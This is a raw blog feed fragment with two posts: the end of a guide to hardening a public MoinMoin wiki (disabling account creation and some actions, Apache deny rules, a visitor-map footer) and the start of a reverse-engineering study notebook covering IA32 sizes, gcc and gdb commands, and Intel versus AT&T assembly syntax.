id="line-32"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;from MoinMoin.Page import Page&lt;br /&gt;from MoinMoin import wikiaction&lt;br /&gt;&lt;br /&gt;def execute(pagename, request):&lt;br /&gt;        if 'create' in request.form:&lt;br /&gt;                return Page(request, pagename).send_page(request, msg="Creating user accounts disabled.")&lt;br /&gt;&lt;br /&gt;        wikiaction.do_userform(pagename, request)&lt;/pre&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Edit this file after creating your desired users!! &lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;Remove the "help" and informational residual content that is stored udner &lt;b&gt;/path_to_your_wiki/underlay/pages&lt;/b&gt; : &lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/SystemInfo"&gt;SystemInfo&lt;/a&gt; &lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;helpon*blablablah &lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/DesktopEdition"&gt;DesktopEdition&lt;/a&gt; &lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/WikiCourse"&gt;WikiCourse&lt;/a&gt; &lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Disable some actions that can lead to information disclosure or resources consumption by crafting this array in you &lt;b&gt;/etc/moin/yourwiki.py&lt;/b&gt; file: &lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;actions_excluded=['newaccount','RenderAsDocbook','SpellCheck','PackagePages']&lt;/pre&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Apart from this the "&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/RenderAsDocbook"&gt;RenderAsDocbook&lt;/a&gt;"  action will be still enable when accessing the url directly so you will  have to fine tune at Apache configuration with something like this: &lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&amp;lt;Location /esliwiki/HelpContents&amp;gt;&lt;br /&gt;    order allow,deny&lt;br /&gt;    deny from all&lt;br /&gt;&amp;lt;/Location&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Then all the users trying to reach that page and all that are supposed to be Help related will receive a 404 Forbidden page &lt;img alt=":)" height="15" src="http://wiki.eslimasec.com/wiki/modern/img/smile.png" title=":)" width="15" /&gt; . &lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="AddingClustrMapstoyourpagefooter.28python-moinmoin1.5versions.29"&gt;Adding ClustrMaps to your page footer (python-moinmoin 1.5 versions)&lt;/h2&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;This is not hardening related but I will place it here. My &lt;a href="http://wiki.eslimasec.com/esliwiki/MoinMoin"&gt;MoinMoin&lt;/a&gt;  wiki didn't care about me using the page_footer2 tag in the main  configuration file (this should be farmconfig in etc file or you own &lt;a href="http://wiki.eslimasec.com/esliwiki/MoinMoin"&gt;MoinMoin&lt;/a&gt;  config file). Thus I did this tweak which is locating where credits are  (/var/lib/python-support/python2.5/MoinMoin/multiconfig.py) and fixing  the thing like this if you want the map to appear before the credits  information: &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;page_credits = [&lt;br /&gt;        '&amp;lt;div align="center"&amp;gt;&amp;lt;a href="http://www2.clustrmaps.com/counter/maps.php?url=http://eslimasec.com" id="clustrMapsLink"&amp;gt;&amp;lt;img src="http://www2.clustrmaps.com/counter/index2.php?url=http://eslimasec.com" style="border:0px;" alt="Locations of visitors to this page" title="Locations of visitors to this page" id="clustrMapsImg" onerror="this.onerror=null; this.src=\'http://clustrmaps.com/images/clustrmaps-back-soon.jpg\'; document.getElementById(\'clustrMapsLink\').href=\'http://clustrmaps.com\';" /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;',&lt;br /&gt;        '&amp;lt;a href="http://moinmoin.wikiwikiweb.de/"&amp;gt;MoinMoin Powered&amp;lt;/a&amp;gt;',&lt;br /&gt;        '&amp;lt;a href="http://www.python.org/"&amp;gt;Python Powered&amp;lt;/a&amp;gt;',&lt;br /&gt;        '&amp;lt;a href="http://validator.w3.org/check?uri=referer"&amp;gt;Valid HTML 4.01&amp;lt;/a&amp;gt;',&lt;br /&gt;        ]&lt;/pre&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="AddingClustrMapstoyourpagefooter.28python-moinmoin1.7versions.29"&gt;Adding ClustrMaps to your page footer (python-moinmoin 1.7 versions)&lt;/h2&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;This is easier as you can use &lt;b&gt;page_footer2&lt;/b&gt; tag in your main standalone or farm wiki config file like this: &lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;page_footer2 = '&amp;lt;div align="center"&amp;gt;&amp;lt;a href="http://www2.clustrmaps.com/counter/maps.php?url=http://eslimasec.com" id="clustrMapsLink"&amp;gt;&amp;lt;img src="http://www2.clustrmaps.com/counter/index2.php?url=http://eslimasec.com" style="border:0px;" alt="Locations of visitors to this page" title="Locations of visitors to this page" id="clustrMapsImg" onerror="this.onerror=null; this.src=\'http://clustrmaps.com/images/clustrmaps-back-soon.jpg\'; document.getElementById(\'clustrMapsLink\').href=\'http://clustrmapsbr&amp;gt;'&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-5028957126380761269?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/5028957126380761269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/why-public-python-moinmoin-wiki-is-not.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/5028957126380761269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/5028957126380761269'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/why-public-python-moinmoin-wiki-is-not.html' title='Why a public python-moinmoin Wiki is not so good idea?'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-6456712626945511387</id><published>2010-11-27T21:19:00.001-05:00</published><updated>2011-01-23T01:32:16.715-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Reversing Scratch Book</title><content type='html'>&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="table-of-contents"&gt;&lt;div class="table-of-contents-heading"&gt;Contents&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#ReversingScratchBook"&gt;Reversing Scratch Book&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Introduction"&gt;Introduction&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Thingstonote"&gt;Things to note&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#SIZES"&gt;SIZES&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#GCC"&gt;GCC&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#GDB"&gt;GDB&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#DifferencesbetweenIntel.26AT.26TSyntax"&gt;Differences between Intel &amp;amp; AT&amp;amp;T Syntax&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Movingdatatoregisters"&gt;Moving data to registers&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Compiling.2Cliking..executing.28linux.29"&gt;Compiling,liking..executing (linux)&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Standardinput.2Coutput..."&gt;Standard input, output...&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Syscalls"&gt;Syscalls&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Comparenumberssample"&gt;Compare numbers sample&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Stackaddressrandomization"&gt;Stack address randomization&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Stackexecutionprevention"&gt;Stack execution prevention&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#Fillingthestack"&gt;Filling the stack&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#I.28L.29Coredumps"&gt;I (L) Coredumps&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#UnderstandingGDBerrors"&gt;Understanding GDB errors&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ReversingScratchBookPost#LINKs"&gt;LINKs&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h2 id="Introduction"&gt;Introduction&lt;/h2&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;This post will be a scratch book to support my learning of the roots of computers: machine code, assembler, exploits, etc. &lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;It  will be quite messy as it's going to be based on mistakes I commit and  things I find interesting to have in mind but maybe you can find  anything that suits for you. &lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-11"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h2 id="Thingstonote"&gt;Things to note&lt;/h2&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-14"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="SIZES"&gt;SIZES&lt;/h3&gt;&lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;IA32 architechture: &lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;table style="height: 206px; width: 465px;"&gt;&lt;tbody&gt;&lt;tr&gt;  &lt;td&gt;&lt;div class="line891"&gt;&lt;b&gt;Element&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line891"&gt;&lt;b&gt;Size&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line891"&gt;&lt;b&gt;Sample&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line891"&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Address&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;4 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;0xffffe000&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;Memory address that in this case corresponds to the linux-gate.so static shared module&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Opcode&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;1-2 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;FFE4&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;In this case it corresponds to JMP *%ESP instruction used to circumvent random address stack&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;RET&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;4 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;0xddccbbaa&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;As RET is the address of the returning function it is an address as well so it takes 4 bytes&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;EBP&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;4 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;0xddccbbaa&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;Stack frame pointer, as again its an address it occupies 4 bytes&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;AH&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;1 byte&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;N/A&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;Register's high part of memory&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;AL&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;1 byte&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;N/A&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;Register's low part of memory&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;AX&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;2 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;N/A&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;16 bit space formed by AH+AL&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;EAX&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;4 bytes&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;N/A&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;Extended AX register able to hold an address&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h3 id="GCC"&gt;GCC&lt;/h3&gt;&lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compile so that you can  see the source code when debugging (gdb is most effective when it is  debugging a program that has debugging symbols linked in to it. With  g++, this is accomplished using the -g command line argument. For even  more information, the -ggdb switch can be used which includes debugging  symbols which are specific to gdb. The makefile for this tutorial uses  the -ggdb switch. ) &lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;gcc -ggdb -o tesoro tesoro.c&lt;/pre&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h3 id="GDB"&gt;GDB&lt;/h3&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;List code (if possible) &lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;l&lt;/pre&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Examine &lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;x/FMT ADDRESS&lt;br /&gt;x/x &amp;lt;address&amp;gt; #examine address position and display hex content&lt;br /&gt;x/c &amp;lt;address&amp;gt; #examines address position and display the byte stored in that position translated to ascii&lt;/pre&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Show functions of a binary &lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;info functions&lt;/pre&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;show  variables, print the names and data types of all variables that are  declared outside of functions (i.e. excluding local variables). &lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;info variables&lt;/pre&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;* specify running arguments &lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;set args&lt;/pre&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Set breakpoint &lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;break &amp;lt;function&amp;gt;&lt;br /&gt;brak *&amp;lt;line_num&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Diverting output to file &lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line874"&gt;Change the name of the current logfile.  The default logfile is &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;gdb.txt. &lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;set logging file FILE&lt;/pre&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Patching a program &lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line874"&gt;By  default, GDB opens the file containing your program's executable code  (or the corefile) read-only. This prevents accidental alterations to  machine code; but it also prevents you from intentionally patching your  program's binary. &lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;If  you'd like to be able to patch the binary, you can specify that  explicitly with the set write command. For example, you might want to  turn on internal debugging flags, or even to make emergency repairs. &lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;set write on&lt;br /&gt;set write off&lt;/pre&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li style="list-style-type: none;"&gt;&lt;div class="line862"&gt;If you specify &lt;tt&gt;set&amp;nbsp;write&amp;nbsp;on',&amp;nbsp;GDB&amp;nbsp;opens&amp;nbsp;executable&amp;nbsp;and&amp;nbsp;core&amp;nbsp;files&amp;nbsp;for&amp;nbsp;both&amp;nbsp;reading&amp;nbsp;and&amp;nbsp;writing;&amp;nbsp;if&amp;nbsp;you&amp;nbsp;specify&amp;nbsp;&lt;/tt&gt;set  write off' (the default), GDB opens them read-only. If you have already  loaded a file, you must load it again (using the exec-file or core-file  command) after changing set write, for your new setting to take effect.  &lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;show write&lt;/pre&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Display whether executable files and core files are opened for writing as well as reading. &lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h3 id="DifferencesbetweenIntel.26AT.26TSyntax"&gt;Differences between Intel &amp;amp; AT&amp;amp;T Syntax&lt;/h3&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Intel and  AT&amp;amp;T syntax Assembly language are very different from each other in  appearance, and this will lead to confusion when one first comes across  AT&amp;amp;T syntax after having learnt Intel syntax first, or vice versa.  So lets start with the basics. &lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="list-style-type: none;"&gt;&lt;div class="line862"&gt;In  Intel syntax there are no register prefixes or immed prefixes. In  AT&amp;amp;T however registers are prefixed with a '%' and immed's are  prefixed with a '$'. Intel syntax hexadecimal or binary immed data are  suffixed with 'h' and 'b' respectively. Also if the first hexadecimal  digit is a letter then the value is prefixed by a '0'. &lt;span class="anchor" id="line-87"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line874"&gt;Example: &lt;span class="anchor" id="line-88"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-89"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;Intex Syntax &lt;span class="anchor" id="line-90"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-91"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-92"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-93"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-94"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-95"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;mov     eax,1&lt;br /&gt;mov     ebx,0ffh&lt;br /&gt;int     80h&lt;/pre&gt;&lt;span class="anchor" id="line-96"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;AT&amp;amp;T Syntax &lt;span class="anchor" id="line-97"&gt;&lt;/span&gt;&lt;span class="anchor" 